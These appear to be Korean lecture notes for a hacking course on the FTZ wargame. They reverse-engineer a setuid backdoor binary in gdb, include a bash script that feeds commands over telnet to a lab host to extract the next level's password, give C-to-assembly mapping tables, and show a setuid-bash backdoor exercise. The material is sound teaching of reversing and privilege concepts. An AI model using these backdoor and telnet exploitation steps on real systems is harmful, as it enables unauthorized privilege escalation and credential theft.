[목차]
1. 수업에서 사용되는 C언어 함수들
2. 리버싱을 통한 의사코드 복원 2
3. 공격용 프로그램 개발
4. C언어와 어셈블리어 매핑 테이블
5. (정리) 공격방법과 관련 기술
6. Effective UID, Real UID & Effective GID, Real GID
1. 수업에서 사용되는 C언어 함수들
main() 함수 시작 부분 분석
main() 함수 인자값이 있는 경우 분석
if/switch 조건구문 분석
for/while 반복구문 분석
변수
포인터
배열
함수
printf()
sprintf()
scanf()
strcpy()
strcat()
fgets()
strncmp()
malloc()
free()
setreuid()
system()
pthread_create()
pthread_join()
creat()
write()
close()
remove()
getchar()
signal()
shmget()
shmat()
shmdt()
memcpy()
putenv()
사용자 정의 함수
2. 리버싱을 통한 의사 코드(Pseudo Code, 가상 코드) 복원 2
[level1@ftz level1]$ export LANG=C
[level1@ftz level1]$ man chdir
[level1@ftz level1]$ cd
[level1@ftz level1]$ gdb /bin/ExecuteMe
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disassemble main Dump of assembler code for function main: 0x08048488 <main+0>: push %ebp /* main 함수로 진입하기 전에 EBP(메모리 구조)의 주소를 스택에 저장 ebp 값을 스택에 넣어라*/ 0x08048489 <main+1>: mov %esp,%ebp /* 현재의 스택 포인터(ESP)를 스택의 베이스 포인 터(EBP)에 저장 */ 0x0804848b <main+3>: sub $0x28,%esp esp에 들어있는 값에서 40만큼 빼서 다시 sep에 넣으라는뜻 /* main() 함수에서 사용할 변수의 공간 0x0804848e <main+6>: and $0xfffffff0,%esp 을 확보 (더미공간)*/ $0xff를 and 연산해서 esp에 넣어라. And 연산. esp의 끝자리는 원래 0이지만 컴파일러가 다시한번 확인해 준다. 0x08048491 <main+9>: mov $0x0,%eax ===== mov ==== 0x08048496 <main+14>: sub %eax,%esp 0x08048498 <main+16>: sub $0xc,%esp 0x0804849b <main+19>: push $0x8048680 0x080484a0 <main+24>: call 0x8048358 <system> /* int system(const char *string); */ 0x080484a5 <main+29>: add $0x10,%esp =====add ===== 0x080484a8 <main+32>: sub $0xc,%esp ==== sub ===== 0x080484ab <main+35>: push $0x804868f (경로) 0x080484b0 <main+40>: call 0x8048378 <chdir> /* int chdir(const char *path); */ 0x080484b5 <main+45>: add $0x10,%esp ===== add ==== 0x080484b8 <main+48>: sub $0xc,%esp ===== sub ===== 0x080484bb <main+51>: push $0x80486a0 0x080484c0 <main+56>: call 0x80483a8 <printf> /* int printf(const char *format, ...); */ 0x080484c5 <main+61>: add $0x10,%esp === add ==== 0x080484c8 <main+64>: sub $0xc,%esp === sub ====== 0x080484cb <main+67>: push $0x80486e0 0x080484d0 <main+72>: call 0x80483a8 <printf> 0x080484d5 <main+77>: add $0x10,%esp === add ==== 0x080484d8 <main+80>: sub $0xc,%esp 0x080484db <main+83>: push $0x8048720 0x080484e0 <main+88>: call 0x80483a8 <printf> 0x080484e5 <main+93>: add $0x10,%esp 0x080484e8 <main+96>: sub $0xc,%esp 0x080484eb <main+99>: push $0x8048760 0x080484f0 <main+104>: call 0x80483a8 <printf> ---Type <return> to continue, or q <return> to quit--- 0x080484f5 <main+109>: add $0x10,%esp 0x080484f8 <main+112>: sub $0xc,%esp 0x080484fb <main+115>: push $0x8048782 0x08048500 <main+120>: call 0x80483a8 <printf> 0x08048505 <main+125>: add $0x10,%esp 0x08048508 <main+128>: sub $0x4,%esp 0x0804850b <main+131>: pushl $0x8049948 0x08048511 <main+137>: push $0x1e /* 0x1e = (10진수) 16 + 14 = 30 */ 0x08048513 <main+139>: lea 0xffffffd8(%ebp – ebp에서 8만큼 뺀 자리에 있는),%eax 0x08048516 <main+142>: push %eax 0x08048517 <main+143>: call 0x8048368 <fgets> /* char *fgets(char *s, int size, FILE *stream); */ 0x0804851c <main+148>: add $0x10,%esp ===add====== 0x0804851f <main+151>: lea 0xffffffd8(%ebp),%eax 0x08048522 <main+154>: sub $0x8,%esp 0x08048525 <main+157>: push $0x804879c 0x0804852a <main+162>: push %eax 0x0804852b <main+163>: call 0x8048388 <strstr> /* char *strstr(const char *haystack, const char *needle); */ 0x08048530 <main+168>: add $0x10,%esp ===add==== 0x08048533 <main+171>: test %eax,%eax /* AND 연산후 결과가 0이면 ZF=1 (NULL 이면) */ /* 결과가 0이 아니면 ZF=0 (NULL 아니면) */ 0x08048535 <main+173>: je(jumo equal) 0x8048551 <main+201> /* ZF=1 이면 Jump (NULL 이면 jump) */ 0x08048537 <main+175>: sub $0xc,%esp ==== 조건이 null, 참이면 ===== 0x0804853a <main+178>: push $0x80487c0 0x0804853f <main+183>: call 0x80483a8 <printf> 0x08048544 <main+188>: add $0x10,%esp 0x08048547 <main+191>: sub $0xc,%esp 0x0804854a <main+194>: push $0x0 0x0804854c <main+196>: call 0x80483c8 <exit> ==== 여기까지 수행 ===== 0x08048551 <main+201>: lea 0xffffffd8(%ebp),%eax === 그렇지 않으면 이곳으로 점프=== 0x08048554 <main+204>: sub $0x8,%esp 0x08048557 <main+207>: push $0x80487e8 !여기랑 ---Type <return> to continue, or q <return> to quit--- 0x0804855c <main+212>: push %eax !여기랑 비교함 0x0804855d <main+213>: call 0x8048388 <strstr> /* if 찾는문자열이 존재하면 %eax는 찾은 부분 pointer else %eax는 0 */ 0x08048562 <main+218>: add $0x10,%esp ==== 여기까지 ======= 0x08048565 <main+221>: test %eax,%eax /* AND 연산 후 0이면 ZF=1 */ 0x08048567 <main+223>: je 0x8048583 <main+251> /* if ZF=1 jump 0x8048583 */ 0x08048569 <main+225>: sub $0xc,%esp ==여기부터=== /* if ZF=0 여기 실행 */ 0x0804856c <main+228>: push $0x8048800 0x08048571 <main+233>: call 0x80483a8 <printf> 0x08048576 <main+238>: add $0x10,%esp 0x08048579 <main+241>: sub $0xc,%esp 0x0804857c <main+244>: push $0x0 0x0804857e <main+246>: call 0x80483c8 <exit> ==참일 경우 여기까지 수행==== 0x08048583 <main+251>: sub $0xc,%esp 0x08048586 <main+254>: push $0x8048826 0x0804858b <main+259>: call 0x80483a8 <printf> 0x08048590 <main+264>: add $0x10,%esp 0x08048593 <main+267>: sub $0x8,%esp 0x08048596 <main+270>: push $0xbba /* 0xbba = (10진수) 3002 */ 0x0804859b <main+275>: push $0xbba /* 0xbba = (10진수) 3002 */ 0x080485a0 <main+280>: call 0x80483b8 <setreuid> /* int setreuid(uid_t ruid, uid_t euid); */ 0x080485a5 <main+285>: add $0x10,%esp 0x080485a8 <main+288>: sub $0xc,%esp 0x080485ab <main+291>: lea 0xffffffd8(%ebp),%eax 0x080485ae <main+294>: push %eax 0x080485af <main+295>: call 0x8048358 <system> 위 변수 eax를 system으로 넘긴다 0x080485b4 <main+300>: add $0x10,%esp 0x080485b7 <main+303>: leave = } 표시 0x080485b8 <main+304>: ret return 0x080485b9 <main+305>: nop 0x080485ba <main+306>: nop ---Type <return> to continue, or q <return> to quit--- 0x080485bb <main+307>: nop End of assembler dump. (gdb) x/s 0x8048680 안에 들어있는 값을 x/s - string으로 표시해 보여달라.(null 문자 전까지 표시해 보여줌) x/x는 16진수로 보여달라는 뜻. x/d는 데시멀, x/o 는 옥탈모드 0x8048680 <_IO_stdin_used+28>: "/usr/bin/clear" (gdb) x/s 0x804868f 0x804868f <_IO_stdin_used+43>: "/home/level2" (gdb) x/s 0x80486e0 0x80486e0 <_IO_stdin_used+124>: "\t\t한가지 실행시켜 드리겠습니다.\n" \n은 엔터 (gdb) x/s 0x8048720 0x8048720 <_IO_stdin_used+188>: "\t\t(단, my-pass 와 chmod는 제외)\n" (gdb) x/s 0x8048760 0x8048760 <_IO_stdin_used+252>: "\n\t\t어떤 명령을 실행시키겠습니까?\n" (gdb) x/s 0x8048782 0x8048782 <_IO_stdin_used+286>: "\n\n\t\t[level2@ftz level2]$ " (gdb) x/s 0x8049948 0x8049948 <stdin@@GLIBC_2.0>: "" (gdb) x/s 0x804879c 0x804879c <_IO_stdin_used+312>: "my-pass" (gdb) x/s 0x80487c0 0x80487c0 <_IO_stdin_used+348>: "\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n" (gdb) x/s 0x80487e8 0x80487e8 <_IO_stdin_used+388>: "chmod" (gdb) x/s 0x8048800 0x8048800 <_IO_stdin_used+412>: "\n\t\tchmod 명령은 사용할 수 없습니다.\n\n" (gdb) x/s 0x8048826 0x8048826 <_IO_stdin_used+450>: "\n\n" (gdb) quit |
char *strstr(const char *haystack, const char *needle);
- *haystack : 키보드로 입력 받은 값(예: my name is my-pass. !!!)
- *needle : 비교할 값(예: my-pass)
- *return : *haystack에서 *needle 있으면 $eax에는 검색된 시작 주소 값이 들어 있고
*haystack에서 *needle 없으면 $eax에는 0이 들어 있다.
test %eax,%eax (null 여부)
* eax 레지스터에 들어있는 값이 널로 되어있으면 점프 아니면 바로 아래 수행
* (명령) test 명령은 2개의 오퍼랜드를 AND 연산하여 결과가 0이면 ZF=1 설정한다.
* (해석) 위 구문을 해석해 보면 %eax %eax가 오퍼랜드인데 만약 %eax안에 0이었다면 ZF=1 될것이고, 다른 값이 들어 있었다면 ZF=0 된다.
je 0x8048583 <main+251>
* (명령) je 명령은 ZF=1 이면 점프한다.
* (해석) test 명령어 구문에서 %eax가 0(NULL)인지를 확인하여 만약 0(NULL)이라면 je 명령 구문에서 점프하게 된다. 만약 그렇지 않으면, 바로 아래 명령 구문으로 넘어간다.
■ 분석한 내용을 바탕으로 의사 코드로 복원해 보면 다음과 같다.
# vi ExecuteMe.c
/* Header File */ #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h>
/* Global Variable */
/* Fuction */
/* main function */ main() {
char s[30];
system("/usr/bin/clear"); chdir("/home/level2"); printf("\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n"); printf("\t\t한가지 실행시켜 드리겠습니다.\n"); printf("\t\t(단, my-pass 와 chmod는 제외)\n"); printf("\n\t\t어떤 명령을 실행시키겠습니까?\n"); printf("\n\n\t\t[level2@ftz level2]$ ");
fgets(s, 0x1e, stdin); if (strstr(s, "my-pass") != 0) { printf("\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n"); exit(0); }
if (strstr(s, "chmod") != 0) { printf("\n\t\tchmod 명령은 사용할 수 없습니다.\n\n"); exit(0); } printf("\n\n");
setreuid(0xbba, 0xbba); system(s);
}
|
3. 공격용 프로그램 개발(Remote Exploit)
■ 용어
취약점 공격코드/악용코드(Exploit Code)
C언어 사용
Local Exploit
Remote Exploit
■ Level1 -> Level2 취약점 분석 결과
백도어(EX: /bin/ExecuteMe)가 설치되어 있고
원격에서 telnet으로 접속한 후
백도어 실행 후 쉘(EX: /bin/bash)을 실행하고
my-pass 명령어를 수행하면 다음 레벨의 암호를 알수 있다.
공격 순서
(ㄱ) telnet 192.168.10.240
(ㄴ) /bin/ExecuteMe 실행
(ㄷ) /bin/bash 실행
(ㄹ) my-pass 실행
(ㅂ) 원하는 정보 획득
(linux200)
linux200 서버에서 Hackme 시스템의 레벨1의 취약점을 공격하는 프로그램을 개발해 보자.
칼리리눅스에서 공격프로그램을 제작하는 경우에는 telnet 프로그램이 설치되어 있어야 한다.
# cd
# mkdir -p hackme && cd hackme
# vi level1.sh
#!/bin/bash
export TERM=vt100 export LANG=ko.KR.eucKR export LOG1=level1.log
> $LOG1
attack () { sleep 1; echo "level1" sleep 1; echo "hostname" sleep 1; echo "/bin/ExecuteMe" sleep 1; echo "/bin/bash" sleep 1; echo "/bin/my-pass" sleep 1; echo "exit" sleep 1; echo "exit" }
echo "[*] Level1 attack started. Please wait..." attack | telnet -l level1 192.168.10.240 >> $LOG1 2>&1
echo "[+] Level2 password cracked." grep 'Level2 Password' $LOG1
|
# man telnet
-l user
If the remote system understands the ENVIRON option,
then user will be sent to the remote system as the
value for the variable USER. This option implies the
-a option. This option may also be used with the open
command.
# chmod 700 *.sh
# ./level1.sh
Level2 Password is "hacker or cracker". |
4. C언어와 어셈블리어의 매핑 테이블
추가적인 실습의 목표
어셈블리 언어 분석 작업을 할 때 조금더 빠른 분석을 위해
C 언어의 특정한 동작(EX: 변수 선언, 조건문/반복문 등)과
어셈블리 언어의 일정한 집합이 매핑하는 테이블을 만들어 보자.
(Hackme)
다음과 같은 소스 코드에 대한 디어셈블리 과정을 정리한다.
(1) 기본 구문은 어떻게 되는가?
# vi test1.c
main() {
}
|
0x080482f4 <main+0>: push %ebp 0x080482f5 <main+1>: mov %esp,%ebp 0x080482f7 <main+3>: sub $0x8,%esp 0x080482fa <main+6>: and $0xfffffff0,%esp 0x080482fd <main+9>: mov $0x0,%eax 0x08048302 <main+14>: sub %eax,%esp 0x08048304 <main+16>: leave 0x08048305 <main+17>: ret 0x08048306 <main+18>: nop 0x08048307 <main+19>: nop |
(2) return 값은 어떻게 처리되는가?
# vi test2.c
#include <stdio.h>
int main(void) { return 0; }
|
0x080482f4 <main+0>: push %ebp (ebp 저장) 0x080482f5 <main+1>: mov %esp,%ebp 0x080482f7 <main+3>: sub $0x8,%esp 0x080482fa <main+6>: and $0xfffffff0,%esp 0x080482fd <main+9>: mov $0x0,%eax 0x08048302 <main+14>: sub %eax,%esp 0x08048304 <main+16>: mov $0x0,%eax 0x08048309 <main+21>: leave 0x0804830a <main+22>: ret 0x0804830b <main+23>: nop |
(3) 변수 선언 부분은 어떻게 처리 되는가?
# vi test3.c
#include <stdio.h>
int main(void) { int a=10; return 0; }
|
0x080482f4 <main+0>: push %ebp 0x080482f5 <main+1>: mov %esp,%ebp 0x080482f7 <main+3>: sub $0x8,%esp 0x080482fa <main+6>: and $0xfffffff0,%esp 0x080482fd <main+9>: mov $0x0,%eax 0x08048302 <main+14>: sub %eax,%esp 0x08048304 <main+16>: movl $0xa,0xfffffffc(%ebp)변수 선언 부분 0x0804830b <main+23>: mov $0x0,%eax 0x08048310 <main+28>: leave 0x08048311 <main+29>: ret 0x08048312 <main+30>: nop 0x08048313 <main+31>: nop |
[참고] set disassembly-flavor 명령어 사용법
어셈블리어 문법의 전환 및 확인
(gdb) set disassembly-flavor att /* att: AT&T */
(gdb) set disassembly-flavor intel /* intel: INTEL */
(gdb) show disassembly-flavor
(AT&T) movl $0xa,0xfffffffc(%ebp) == (INTEL) mov DWORD PTR [ebp-4], 0xa
%ebp + 0xfffffffc
%ebp - 4
[참고] set dissassembly-flavor 영구적으로 설정하는 방법
# vi ~level1/.gdbinit
set disassembly-flavor intel
(4) 함수는 어떻게 처리 되는가?
# vi test4.c
#include <stdio.h>
int main(void) { int a=10; printf("a: %d", a); return 0; }
|
0x08048328 <main+0>: push %ebp 0x08048329 <main+1>: mov %esp,%ebp 0x0804832b <main+3>: sub $0x8,%esp 0x0804832e <main+6>: and $0xfffffff0,%esp 0x08048331 <main+9>: mov $0x0,%eax 0x08048336 <main+14>: sub %eax,%esp 0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp) 0x0804833f <main+23>: sub $0x8,%esp 0x08048342 <main+26>: pushl 0xfffffffc(%ebp) 0x08048345 <main+29>: push $0x8048408 0x0804834a <main+34>: call 0x8048268 <printf> 0x0804834f <main+39>: add $0x10,%esp 0x08048352 <main+42>: mov $0x0,%eax 0x08048357 <main+47>: leave 0x08048358 <main+48>: ret 0x08048359 <main+49>: nop 0x0804835a <main+50>: nop 0x0804835b <main+51>: nop |
(5) 조건 구문(if 구문)은 어떻게 처리되는가?
# vi test5.c
#include <stdio.h>
int main(void) { int a=10; printf("a: %d", a);
if (a == 0) { printf("OK"); } return 0; }
|
0x08048328 <main+0>: push %ebp 0x08048329 <main+1>: mov %esp,%ebp 0x0804832b <main+3>: sub $0x8,%esp 0x0804832e <main+6>: and $0xfffffff0,%esp 0x08048331 <main+9>: mov $0x0,%eax 0x08048336 <main+14>: sub %eax,%esp 0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp) 0x0804833f <main+23>: sub $0x8,%esp 0x08048342 <main+26>: pushl 0xfffffffc(%ebp) 0x08048345 <main+29>: push $0x804841c 0x0804834a <main+34>: call 0x8048268 <printf> 0x0804834f <main+39>: add $0x10,%esp
조건 구문 (If)에는 비교하고 점프 뛰는게 있음 0x08048352 <main+42>: cmpl $0x0,0xfffffffc(%ebp) 0하고 10하고 비교. 10에서 0을 빼면 10. $0X0는 0/ (compare) 0x08048356 <main+46>: jne 0x8048368 <main+64> jump not equal 제로플래그 ZF가 0이 아니면 점프뛰어라.
참 0x08048358 <main+48>: sub $0xc,%esp 0x0804835b <main+51>: push $0x8048422 0x08048360 <main+56>: call 0x8048268 <printf> 0x08048365 <main+61>: add $0x10,%esp
else 0x08048368 <main+64>: mov $0x0,%eax 0x0804836d <main+69>: leave 0x0804836e <main+70>: ret 0x0804836f <main+71>: nop |
[참고] 조건에 따른 분기 - if 구문
https://m.blog.naver.com/67sooon/10166748134
Assembly 표현 |
C 언어 표현 |
설명 |
jz/je |
!= (같지 않으면) |
jump if zero/jump if equal |
jnz/jne |
== (같으면) |
jump if not zero/jump if not equal |
jg |
<= (작거나 같으면) |
jump if greater |
jge |
< (작으면) |
jump if greater than or equal |
jl |
>= (크거나 같으면) |
jump if less |
jle |
> (크면) |
jump if less than or equal |
(6) 조건 구문(switch 구문)은 어떻게 처리되는가?
# vi test6.c
#include <stdio.h>
int main(void) { int a=10; printf("a: %d", a);
switch (a) { case 8: a=1; break; case 9: a=2; break; case 10:a=3; break; default:a=4; break; } return 0; }
|
0x08048328 <main+0>: push %ebp 0x08048329 <main+1>: mov %esp,%ebp 0x0804832b <main+3>: sub $0x8,%esp 0x0804832e <main+6>: and $0xfffffff0,%esp 0x08048331 <main+9>: mov $0x0,%eax 0x08048336 <main+14>: sub %eax,%esp 0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp) 0x0804833f <main+23>: sub $0x8,%esp 0x08048342 <main+26>: pushl 0xfffffffc(%ebp) 0x08048345 <main+29>: push $0x8048470 0x0804834a <main+34>: call 0x8048268 <printf> 0x0804834f <main+39>: add $0x10,%esp 0x08048352 <main+42>: mov 0xfffffffc(%ebp),%eax 0x08048355 <main+45>: mov %eax,0xfffffff8(%ebp) 0x08048358 <main+48>: cmpl $0x2,0xfffffff8(%ebp) 0x0804835c <main+52>: je 0x8048386 <main+94> 0x0804835e <main+54>: cmpl $0x2,0xfffffff8(%ebp) 0x08048362 <main+58>: jg 0x804836c <main+68> 0x08048364 <main+60>: cmpl $0x1,0xfffffff8(%ebp) 0x08048368 <main+64>: je 0x8048374 <main+76> 0x0804836a <main+66>: jmp 0x80483aa <main+130> 0x0804836c <main+68>: cmpl $0x3,0xfffffff8(%ebp) 0x08048370 <main+72>: je 0x8048398 <main+112> 0x08048372 <main+74>: jmp 0x80483aa <main+130> 0x08048374 <main+76>: sub $0xc,%esp 0x08048377 <main+79>: push $0x8048476 0x0804837c <main+84>: call 0x8048268 <printf> 0x08048381 <main+89>: add $0x10,%esp 0x08048384 <main+92>: jmp 0x80483ba <main+146> 0x08048386 <main+94>: sub $0xc,%esp 0x08048389 <main+97>: push $0x8048478 0x0804838e <main+102>: call 0x8048268 <printf> 0x08048393 <main+107>: add $0x10,%esp 0x08048396 <main+110>: jmp 0x80483ba <main+146> 0x08048398 <main+112>: sub $0xc,%esp 0x0804839b <main+115>: push $0x804847a 0x080483a0 <main+120>: call 0x8048268 <printf> 0x080483a5 <main+125>: add $0x10,%esp 0x080483a8 <main+128>: jmp 0x80483ba <main+146> 0x080483aa <main+130>: sub $0xc,%esp 0x080483ad <main+133>: push $0x804847c 0x080483b2 <main+138>: call 0x8048268 <printf> 0x080483b7 <main+143>: add $0x10,%esp 0x080483ba <main+146>: mov $0x0,%eax 0x080483bf <main+151>: leave 0x080483c0 <main+152>: ret 0x080483c1 <main+153>: nop 0x080483c2 <main+154>: nop 0x080483c3 <main+155>: nop End of assembler dump. |
[참고] 조건에 따른 분기 - switch ~ case 문
https://m.blog.naver.com/67sooon/10166750521
Assembly 표현 |
C 언어 표현 |
0x08048352 <main+42>: mov 0xfffffffc(%ebp),%eax 0x08048355 <main+45>: mov %eax,0xfffffff8(%ebp) |
switch(a) |
0x08048358 <main+48>: cmpl $0x2,0xfffffff8(%ebp) 0x0804835c <main+52>: je 0x8048386 <main+94> 0x0804835e <main+54>: cmpl $0x2,0xfffffff8(%ebp) 0x08048362 <main+58>: jg 0x804836c <main+68> |
case 1: |
0x08048364 <main+60>: cmpl $0x1,0xfffffff8(%ebp) 0x08048368 <main+64>: je 0x8048374 <main+76> 0x0804836a <main+66>: jmp 0x80483aa <main+130> |
case 2: |
0x0804836c <main+68>: cmpl $0x3,0xfffffff8(%ebp) 0x08048370 <main+72>: je 0x8048398 <main+112> 0x08048372 <main+74>: jmp 0x80483aa <main+130> |
case 3: |
0x08048372 <main+XX>: jmp 0x80483aa <main+130> |
default: |
(7) 반복 구문(for 구문)은 어떻게 처리되는가?
# vi test7.c
#include <stdio.h>
int main(void) { int a=10; printf("a: %d", a);
for(a=0; a<10; a++) { printf("a = 0"); }
return 0; }
|
0x08048328 <main+0>: push %ebp 0x08048329 <main+1>: mov %esp,%ebp 0x0804832b <main+3>: sub $0x8,%esp 0x0804832e <main+6>: and $0xfffffff0,%esp 0x08048331 <main+9>: mov $0x0,%eax 0x08048336 <main+14>: sub %eax,%esp 0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp) 0x0804833f <main+23>: sub $0x8,%esp 0x08048342 <main+26>: pushl 0xfffffffc(%ebp) 0x08048345 <main+29>: push $0x804842c 0x0804834a <main+34>: call 0x8048268 <printf> 0x0804834f <main+39>: add $0x10,%esp 0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp) 0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp) 0x0804835d <main+53>: jle 0x8048361 <main+57> 0x0804835f <main+55>: jmp 0x8048378 <main+80> 0x08048361 <main+57>: sub $0xc,%esp 0x08048364 <main+60>: push $0x8048432 0x08048369 <main+65>: call 0x8048268 <printf> 0x0804836e <main+70>: add $0x10,%esp 0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax 0x08048374 <main+76>: incl (%eax) 0x08048376 <main+78>: jmp 0x8048359 <main+49> 0x08048378 <main+80>: mov $0x0,%eax 0x0804837d <main+85>: leave 0x0804837e <main+86>: ret 0x0804837f <main+87>: nop |
[참고] 반복문 - for 문
https://m.blog.naver.com/67sooon/10166752576
Assembly 표현 |
C 언어 표현 |
0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp) |
for 구문의 초기값 for(a=0; a<10; a++) |
0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp) 0x0804835d <main+53>: jle 0x8048361 <main+57> 0x0804835f <main+55>: jmp 0x8048378 <main+80> |
for 구문의 조건 for(a=0; a<10; a++) |
0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax 0x08048374 <main+76>: incl (%eax) |
for 구문의 증감연산 for(a=0; a<10; a++) |
(8) 반복 구문(while 구문)은 어떻게 처리되는가?
# vi test8.c
#include <stdio.h>
int main(void) { int a=10; printf("a: %d\n", a);
a=0; while (a < 10) { printf("a = 10\n"); a++; }
return 0; }
|
0x08048328 <main+0>: push %ebp 0x08048329 <main+1>: mov %esp,%ebp 0x0804832b <main+3>: sub $0x8,%esp 0x0804832e <main+6>: and $0xfffffff0,%esp 0x08048331 <main+9>: mov $0x0,%eax 0x08048336 <main+14>: sub %eax,%esp 0x08048338 <main+16>: movl $0xa,0xfffffffc(%ebp) 0x0804833f <main+23>: sub $0x8,%esp 0x08048342 <main+26>: pushl 0xfffffffc(%ebp) 0x08048345 <main+29>: push $0x804842c 0x0804834a <main+34>: call 0x8048268 <printf> 0x0804834f <main+39>: add $0x10,%esp 0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp) 0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp) 0x0804835d <main+53>: jle 0x8048361 <main+57> 0x0804835f <main+55>: jmp 0x8048378 <main+80> 0x08048361 <main+57>: sub $0xc,%esp 0x08048364 <main+60>: push $0x8048433 0x08048369 <main+65>: call 0x8048268 <printf> 0x0804836e <main+70>: add $0x10,%esp 0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax 0x08048374 <main+76>: incl (%eax) 0x08048376 <main+78>: jmp 0x8048359 <main+49> 0x08048378 <main+80>: mov $0x0,%eax 0x0804837d <main+85>: leave 0x0804837e <main+86>: ret 0x0804837f <main+87>: nop |
[참고] 아래 내용의 while 구문과 for 구문(이전 분석 내용)의 내용을 비교해 본다.
[참고] 반복문 - while 문
https://m.blog.naver.com/67sooon/10166753297
Assembly 표현 |
C 언어 표현 |
0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp) |
while 구문의 초기값 a=0 |
0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp) 0x0804835d <main+53>: jle 0x8048361 <main+57> 0x0804835f <main+55>: jmp 0x8048378 <main+80> |
while 구문의 조건 while (a < 10) |
0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax 0x08048374 <main+76>: incl (%eax) |
while 구문의 증감연산 while (a < 10) { ...; a++; } |
[참고] 반복문 - for 문(이전에 분석한 내용입니다.)
https://m.blog.naver.com/67sooon/10166752576
Assembly 표현 |
C 언어 표현 |
0x08048352 <main+42>: movl $0x0,0xfffffffc(%ebp) |
for 구문의 초기값 for(a=0; a<10; a++) |
0x08048359 <main+49>: cmpl $0x9,0xfffffffc(%ebp) 0x0804835d <main+53>: jle 0x8048361 <main+57> 0x0804835f <main+55>: jmp 0x8048378 <main+80> |
for 구문의 조건 for(a=0; a<10; a++) |
0x08048371 <main+73>: lea 0xfffffffc(%ebp),%eax 0x08048374 <main+76>: incl (%eax) |
for 구문의 증감연산 for(a=0; a<10; a++) |
5. (정리) 공격 방법과 관련 기술 정리
[과제] gdb(디버거) 사용법에 대해서 조사한다.
인터넷을 통해 gdb 사용법에 대해 조사한다.
1. 개발자 관점이 아닌 보안 관점에서
■ 공격한 방법에 대한 순서 정리
힌트 정보 확인(# cat hint)
힌트 내용에 맞는 파일 검색(# find / -user level2 -perm -4000 2>/dev/null)
찾은 프로그램 실행(# /bin/ExecuteMe)
-> 의사 코드 복원(GDB 사용)
찾은 프로그램의 버그 확인(다양한 방법)
■ 관련된 기술 정리
find 명령어 사용법
특수퍼미션(SetUID)의 개념
어셈블리에 대한 소개
GDB 사용법에 대한 소개
백도어에 대한 개념
■ 수행한 내용
/bin/ExecuteMe 파일을 gdb를 사용한 분석
의사 코드 생성
Remote Exploit Code 개발
6. Effective UID, Real UID & Effective GID, Real GID
■ 사용시스템
linux200
■ setreuid() 함수 대해서
# export LANG=C
# man setreuid
■ UID/EUID, GID/EGID 개념에 대해서
UID(User Identification, Real UID )/EUID(Effective UID)
GID(Group Identification, Real GID)/EGID(Effective GID)
Real UID : ==> # who am i (!!! 내가 어떤 사용자로 로그인 했는가 !!!)
/etc/passwd (user01:x:1000:1000::/home/user01:/bin/bash)
Eeffective UID:==> # id or # whoami (!!! 현재 내가 누가인가 !!!)
(linux200)
[EX] RUID/EUID 의미에 대한 실습
# telnet localhost
user01 사용자로 로그인
--------------------------
RUID : 1000
EUID : 1000
--------------------------
$ who am i ---> 로그인 당시 누구였냐 root
$ id --->
$ whoami ---> 현재 내가 누구냐 user01
$ su - user02
--------------------------
RUID : 1000
EUID : 1001
--------------------------
$ who am i ---> 로그인 당시 누구냐 user01
$ id --->
$ whoami ---> 현재 내가 누구냐 user02
$ su - root
--------------------------
RUID : 1000
EUID : 0
--------------------------
# who am i --->
# id --->
# whoami --->
# exit
$ exit
$ exit
#
!!!! RUID vesus EUID 차이점 !!!!
이게 왜 중요한가?
리눅스가 개편되어 centos RHEL 버전으로 넘어오면서
EUID 위주로 보게 설정된다.
(linux200)
함수의 사용법
* int setuid(uid_t uid); -> EUID 변경
* int setreuid(uid_t ruid, uid_t euid); -> RUID, EUID 변경
[EX] backdoor 파일 생성에 대한 실습(setreuid() 사용)
# ls -l /bin/bash
- 0열 선택0열 다음에 열 추가
- 0행 선택0행 다음에 행 추가
셀 전체 선택
열 너비 조절
행 높이 조절
-rwxr-xr-x 1 root root 718K Jan 22 2009 /bin/bash |
- 셀 병합
- 행 분할
- 열 분할
- 너비 맞춤
- 삭제
# mkdir -p /test && cd /test && rm -rf /test/*
# cp /bin/bash /test
# cd /test
# ls -l
-> /test/bash
-> /bin/bash
# /bin/bash
# ps
- 0열 선택0열 다음에 열 추가
- 0행 선택0행 다음에 행 추가
셀 전체 선택
열 너비 조절
행 높이 조절
PID TTY TIME CMD 4620 pts/1 00:00:00 bash 4801 pts/1 00:00:00 bash |
- 셀 병합
- 행 분할
- 열 분할
- 너비 맞춤
- 삭제
# exit
#
# /test/bash
# ps
- 0열 선택0열 다음에 열 추가
- 0행 선택0행 다음에 행 추가
셀 전체 선택
열 너비 조절
행 높이 조절
PID TTY TIME CMD 4620 pts/1 00:00:00 bash 4829 pts/1 00:00:00 bash |
- 셀 병합
- 행 분할
- 열 분할
- 너비 맞춤
- 삭제
# exit
#
# ls -l /test/bash
-rwxr-xr-x 1 root root
# chmod 4755 /test/bash
# ls -l /test/bash
-rwsr-xr-x 1 root root
이래봤자 소용이 없다. 셋uid를 걸어봤자 소용이 없다고!
$ telnet localhost
user01 사용자로 로그인
$ /test/bash
$ id
-> user01
$ ps
-> user01 사용자로 실행된 쉘 (관리자 권한으로 실행한게 아닌 지가 실행한 것)
$ ps -l
$ pstree –alup PPID 번호
$ exit
$ exit
# cd /test
# vi backdoor.c
